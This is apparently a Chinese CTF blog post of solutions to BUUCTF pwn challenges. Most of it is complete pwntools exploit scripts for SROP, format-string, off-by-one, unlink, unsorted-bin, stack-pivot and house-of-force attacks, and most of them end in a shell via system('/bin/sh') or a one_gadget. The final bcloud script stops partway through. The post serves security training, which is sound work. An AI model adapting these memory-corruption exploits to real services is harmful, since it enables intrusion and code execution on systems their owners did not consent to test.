BUUCTF Pwn Exercise(一)

BUUCTF Pwn Exercise(一)

BUUOJ PWN EXERCISE

# rootersctf_2019_srop(srop)

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
sh = process("rootersctf_2019_srop")
context.update(arch="amd64", os="linux", endian="little")

# write /bin/sh on 0x402000
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))

# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()

# 参考文章

https://blog.csdn.net/weixin_46521144/article/details/120714498

https://www.cnblogs.com/LynneHuan/p/14723605.html#exp

# qctf_2018_stack2(数组越界)

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python                         
# coding=utf-8
from pwn import *
context(log_level = 'debug')

sh = remote("node3.buuoj.cn","28924")

sh.sendlineafter('have:\n','0')

sh.sendlineafter('5. exit\n','3')
sh.sendlineafter('change:\n',str(116 + 0x10))
sh.sendlineafter('number:\n',str(0x9b))

sh.sendlineafter('5. exit\n','3')
sh.sendlineafter('change:\n',str(117 + 0x10))
sh.sendlineafter('number:\n',str(0x85))

sh.sendlineafter('5. exit\n','3')
sh.sendlineafter('change:\n',str(118 + 0x10))
sh.sendlineafter('number:\n',str(0x04))

sh.sendlineafter('5. exit\n','3')
sh.sendlineafter('change:\n',str(119 + 0x10))
sh.sendlineafter('number:\n',str(0x08))

sh.sendlineafter('5. exit\n','5')
sh.interactive()

# hfctf_2020_marksman(exit_hook)

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import functools

LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)

# sh = process("./hfctf_2020_marksman")
sh = remote('node4.buuoj.cn',27982)

sh.recvuntil("I placed the target near: ")
msg = sh.recvline()

puts_addr = int16(msg[:-1].decode())
LOG_ADDR("puts_addr", puts_addr)
libc_base_addr = puts_addr - 0x809c0
LOG_ADDR("libc_base_addr", libc_base_addr)

one_gadget1 = libc_base_addr + 0x10a387
__rtld_lock_unlock_recursive_offset = 0x81df60
target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset

# one_gadget1 = libc_base_addr + 0xe569f
# _dl_catch_error_offset = 0x5f4038
# target_addr = libc_base_addr + _dl_catch_error_offset

sh.sendlineafter("shoot!shoot!\n", str(target_addr))
input_gadget = one_gadget1

for _ in range(3):
sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
input_gadget = input_gadget >> 8

sh.interactive()

# 参考文章

Python 中的 functools

# picoctf_2018_echooo (32 位格式化字符串)

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#p=process('./PicoCTF_2018_echooo')
p=remote('node4.buuoj.cn',28387)
offset=11
flag=''
for i in range(27,27+11):
payload='%{}$p'.format(str(i))
p.sendlineafter('> ',payload)
aim=unhex(p.recvuntil('\n',drop=True).replace('0x',''))
flag+=aim[::-1]
print flag
p.interactive()

# npuctf_2020_level2 (args 上的格式化字符串漏洞)

# 程序分析

image-20220202165015889

# 漏洞利用

image-20220202165914998

漏洞点为 printf 格式化字符串部分,但 buf 在 bss 段不在栈上因而不能通过填地址来写入,需要借助地址链分批次写入

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import functools

LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
context.update(arch='amd64', os='linux', endian='little')

# sh = process('./npuctf_2020_level2')
sh = remote('node4.buuoj.cn',27290)

sh.sendline("%9$p,%24$p")
msg = sh.recvline()
stack_addr, libc_addr = msg[:-1].split(b',')

stack_addr = int16(stack_addr.decode())
libc_addr = int16(libc_addr.decode())
LOG_ADDR('stack_addr', stack_addr)
LOG_ADDR('libc_addr', libc_addr)

stack_ret_addr = stack_addr - 0xe0
libc_base_addr = libc_addr - 0x3e7638

LOG_ADDR('stack_ret_addr', stack_ret_addr)
LOG_ADDR('libc_base_addr', libc_base_addr)

gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base_addr + gadgets[0]

LOG_ADDR('one_gadget', one_gadget)
sleep(1)

payload = "%{}c%9$hn".format((stack_ret_addr & 0xffff))
sh.sendline(payload)
sh.recv()

for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)

payload = "%{}c%35$hn".format((one_gadget & 0xffff)) + 'a' * 0x10
sh.sendline(payload)
sh.recv()
sleep(2)


for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)

payload = "%{}c%9$hhn".format((stack_ret_addr & 0xff) + 2)
sh.sendline(payload)
sh.recv()
sleep(2)

for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)

payload = "%{}c%35$hhn".format(((one_gadget >> 16) & 0xff)) + 'a' * 0x10
sh.sendline(payload)
sh.recv()
sleep(2)

for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)

sh.send("6" * 8 + '\x00' * 8)

sleep(3)

sh.sendline("cat flag")

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#9 35
#p=process('./npuctf_2020_level2')
p=remote('node4.buuoj.cn',27290)
libc=ELF('./libc-2.27.so')
context.log_level='debug'
payload1='%7$p#%9$p@'
p.sendline(payload1)

p.recvuntil('0x')
libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main']
p.recvuntil('0x')
addr_stack=int(p.recvuntil("@",True),16)-0xe0
one_gadgets = [0x4f2c5,0x4f322,0x10a38c]


one_gadget=one_gadgets[1]+libc_base
stackbase = addr_stack & 0xffff
p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00')
#p.recv('\x20\x20\xb4')
p.sendline('66666666\x00')
#p.recv()
print(hex(libc.symbols['__libc_start_main']))
#gdb.attach(p)
p.interactive()

# asis2016_b00ks(off-by-null)

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

r = remote("node4.buuoj.cn", 28085)
#r = process("./asis2016_b00ks")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1245)
x/20gx $rebase(0x202040)
c
''')

elf = ELF("./b00ks")
libc = ELF('./libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]


menu = "> "
def add(size1, content1, size2, content2):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Enter book name size: ")
r.sendline(str(size1))
r.recvuntil("Enter book name (Max 32 chars): ")
r.send(content1)
r.recvuntil("Enter book description size: ")
r.sendline(str(size2))
r.recvuntil("Enter book description: ")
r.send(content2)

def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Enter the book id you want to delete: ")
r.sendline(str(index))


def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Enter the book id you want to edit: ")
r.sendline(str(index))
r.recvuntil("Enter new book description: ")
r.send(content)

def show():
r.recvuntil(menu)
r.sendline('4')

def edit_name(name):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Enter author name: ")
r.send(name)

r.recvuntil("Enter author name: ")
r.send('a'*0x20+'\n')
add(0x90, 'aa\n', 0x90, 'aa\n')
add(0x21000, 'aa\n', 0x21000, 'aa\n')
show()
r.recvuntil('a'*0x20)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x160
success("heap:"+hex(heap))
payload = 'a' * 0x40 + p64(1) + p64(heap+0x198)*2 + p64(0xffff) + '\n'
edit(1, payload)
edit_name('a'*0x20 + '\n')
show()
r.recvuntil("Name: ")
#offset = 0x7fc715ef1010 - 0x7fc71593e000
offset = 0x7f4875e6a010 - 0x7f48758a4000
libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - offset
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search("/bin/sh").next()

edit(1, p64(bin_sh) + p64(free_hook) + '\n')
edit(2, p64(system)+'\n')
delete(2)

r.interactive()

# babyfengshui_33c3_2016

# 程序分析

image-20220207230521669

checksec 后可以看到 relro 保护没开,可以劫持函数 got 表

由于是 *(&ptr+a1)-4 是靠偏移来确定大小的,所以也就只有在 name 堆块与 text 堆块在物理地址相邻时才有作用,因此我们可以通过 delete 函数删除一个 user 便可以使程序连续 free 掉两个堆块,从而使两个 0x88 的堆块合并成为一个 0x110 的堆块

进而我们再次使用 add 添加数据的时候,第一次输入的 name 设置大小为 0x100 就可以使 name 与 text 堆块物理不相邻,这样一来我们的 text 字段便可输入任意大小的数据

接下来就可以对能够造成溢出的 name 堆块填充大量的数据覆盖到下一个 user 的 name 字段中,来控制下一个 user 中的 text 地址指向

最后便可以控制该 text 指向某个函数的 got 表地址,即可劫持函数的 got 表指向 system 函数。

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'

# p=remote("node4.buuoj.cn",26147)
p=process('./babyfengshui')
elf=ELF('./babyfengshui')

free_got=elf.got['free']

def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.recvuntil("text length:")
p.sendline(str(length))
p.recvuntil("text:")
p.sendline(text)
def delete(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00") #写入/bin/sh
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

# gyctf_2020_borrowstack (栈迁移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',29385)

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

r.recvuntil('u want')
payload='a'*0x60+p64(bank)+p64(leave)
r.send(payload)

r.recvuntil('now!')
payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')

one_gadget=libc_base+0x4526a

#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')

#payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload='a'*(0x60+8)+p64(one_gadget)
r.send(payload)

r.interactive()

# hitcontraining_magicheap(unsorted bin attack)

Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

在这里插入图片描述

初始状态时 unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
执行 free 由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
修改 p [1] 经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
所以核心在于通过修改使堆块的 fd 指针指向利用的地址 - 16

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

#p = process('./magicheap')
p=remote('node4.buuoj.cn',26349)

def CreateHeap(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)

def EditHeap(idx,size,content):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)

def DeleteHeap(idx):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))

CreateHeap(0x30,'aaaa')
CreateHeap(0x80,'bbbb')
CreateHeap(0x10,'cccc')

DeleteHeap(1)
#gdb.attach(p)

magic = 0x6020A0
EditHeap(0,0x50,0x30 * "a" + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))# 修改heap1的fd和bk指针
#gdb.attach(p)

CreateHeap(0x80,'dddd') #触发
#gdb.attach(p)

p.sendlineafter(':','4869')
p.interactive()

# roarctf_2019_easy_pwn(off-by-one)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

r=remote('node4.buuoj.cn',26307)
# r=process('roarctf_2019_easy_pwn')
libc=ELF('./libc-2.23.so')
context.log_level="debug"

def add(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))

def edit(index,size,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.send(data)

def delete(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(index))

def show(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('index:')
r.sendline(str(index))

malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']

print hex(malloc_hook)
print hex(realloc_hook)

#gdb.attach(r,"b calloc")

add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3

#gdb.attach(r)

edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one
#gdb.attach(r)

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
#gdb.attach(r)

delete(1)
add(0x90)#idx1 chunk overlap

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

delete(2)
show(1)

r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,"\x00"))-0x3c4b78


print "libc_base:"+hex(libc_base)


add(0x80)

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

delete(2)

edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)


add(0x60)

add(0x60)#idx4
#gdb.attach(r)

one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
add(0x60)
r.interactive()

# hitcontraining_heapcreator(off-by-one)

image-20220208101203616

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("node4.buuoj.cn",25982)
# sh = process('./heapcreator')
elf=ELF('./heapcreator')

def create(length,value):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Size of Heap : ")
sh.sendline(str(int(length)))
sh.recvuntil("Content of heap:")
sh.sendline(value)
def edit(index,value):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(int(index)))
sh.recvuntil("Content of heap : ")
sh.sendline(value)
def show(index):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(str(int(index)))
def delete(index):
sh.recvuntil('Your choice :')
sh.sendline('4')
sh.recvuntil('Index :')
sh.sendline(str(int(index)))

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

edit(0,'a'*0x18+'\x81')
delete(1)

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

edit(2,p64(system_addr))
delete(3)
sh.interactive()

https://blog.csdn.net/weixin_45677731/article/details/107914807

# hitcon2014_stkof(unlink)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
# sh=remote("node4.buuoj.cn",28995)
sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc-2.23.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')

def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))


alloc(0x100)
alloc(0x20)
alloc(0x80)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

delete(3)
sh.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)


base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']


payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()

# zctf2016_note2(unlink)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding=utf-8
from pwn import *

io = remote('node4.buuoj.cn',26179)
# io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23.so")

#context.log_level = "debug"


def new_note(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(")")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def show_note(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(index))

def edit_note(index, choice, content):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil("]")
io.sendline(str(choice))
io.recvuntil(":")
io.sendline(content)

def delete_note(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(index))

io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')

io.interactive()


# wdb_2018_1st_babyheap(unlink,uaf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

r = remote("node4.buuoj.cn", 26136)
#r = process("./wdb_2018_1st_babyheap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400CF7
x/10gx 0x602060
c
''')

elf = ELF("./wdb_2018_1st_babyheap")
libc = ELF('./libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_arr = 0x602060
read_got = elf.got['read']

menu = "Choice:"
def add(index, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)

def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))


def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)

def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))

sleep(3)
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')

delete(0)
delete(1)
delete(0)
show(0)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x30
success("heap:"+hex(heap))
edit(0, p64(heap+0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap) + p64(bss_arr-0x10))
payload = p64(bss_arr-0x18) + p64(bss_arr-0x10) + p64(0x20) + p64(0x90)
add(6, payload)
add(7, p64(0) + p64(0x21) + p64(bss_arr-0x18) + p64(bss_arr-0x10))
delete(1)
show(6)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc;"+hex(libc.address))
system = libc.symbols['system']
free_hook = libc.sym['__free_hook']

edit(0, p64(0)*3+p64(free_hook))
edit(0, p64(system)+'\n')
delete(4)


r.interactive()

# axb_2019_fmt64(64 位格式化字符串改 got 表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.log_level = 'debug'

# io = remote('node4.buuoj.cn',29964)
io = process('axb_2019_fmt64')
elf = ELF('./axb_2019_fmt64')
#libc = elf.libc
libc = ELF('./libc-2.23.so')

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
sprintf_got = elf.got['sprintf']

payload = '%9$saaaa'
payload += p64(sprintf_got)

io.recvuntil("Please tell me:")
io.sendline(payload)

sprintf_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

print "sprintf_addr:"+hex(sprintf_addr)

libcbase = sprintf_addr - libc.symbols['sprintf']
one_gadget = libcbase + one_gadget[0]

print "one_gadget:"+hex(one_gadget)

payload = ''
payload += '%' + str((one_gadget % 0x10000) - 9) + 'c%12$hn'
payload += '%' + str(((one_gadget >> 16) % 0x10000) - (one_gadget % 0x10000)) + 'c%13$hn'
payload = payload.ljust(0x20,'\x00')
payload += p64(sprintf_got) + p64(sprintf_got + 2)

print 'payload:'+payload

io.sendline(payload)

io.interactive()

# pwnable_asm(沙箱)

# sandbox 概述

沙盒机制也就是我们常说的沙箱,英文名 sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
  在 ctf 比赛中,pwn 题中的沙盒一般都会限制 execve 的系统调用,这样一来 one_gadget 和 system 调用都不好使,只能采取 open/read/write 的组合方式来读取 flag。
一般有两种函数调用方式实现沙盒机制,第一种是采用 prctl 函数调用,第二种是使用 seccomp 库函数。

image-20220217212749222

使用 seccomp-tools 检查沙盒机制,可以看到先是判断了体系架构是否是 x86_64 的,然后对系统调用号进行了判断,只允许了 read/write/open/exit 四种系统调用。

image-20220217213945397

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = "debug"
context.arch = 'amd64'
context.os = 'linux'

sh = remote("node4.buuoj.cn","26693")
# sh = process('./asm')
shellcode = shellcraft.pushstr("flag")
shellcode += shellcraft.open("rsp")
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

sh.sendlineafter("shellcode: ", asm(shellcode))
print sh.recvall()
sh.close()

参考文章:https://blog.csdn.net/A951860555/article/details/116738676

# bctf2016_bcloud(house of force)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding:utf8
from pwn import *
from LibcSearcher import *

#house of force
sh = process('./bcloud')
# sh = remote('node4.buuoj.cn',28752)
elf = ELF('./bcloud')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120
sh.sendafter('Input your name:','a'*0x40)
sh.recvuntil('a'*0x40)
heap_addr = u32(sh.recv(4))
print 'heap_addr=',hex(heap_addr)
sh.sendafter('Org:','a'*0x40)
#修改top chunk的size
sh.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
print 'top_chunk_addr=',hex(top_chunk_addr)

def add(size,content):
sh.sendlineafter('option--->>','1')
sh.sendlineafter('Input the length of the note content:',str(size))
sh.sendafter('Input the content:',content)

def edit(index,content):
sh.sendlineafter('option--->>','3')
sh.sendlineafter('Input the id:',str(index))
sh.sendafter('Input the new content:',content)

def delete(index):
sh.sendlineafter('option--->>','4')
sh.sendlineafter('Input the id:',str(index))
offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
#现在top chunk移到了heap_array_addr-0x8处,我们可以控制heap_array了
add(0x18,'\n') #1

#修改heap_array
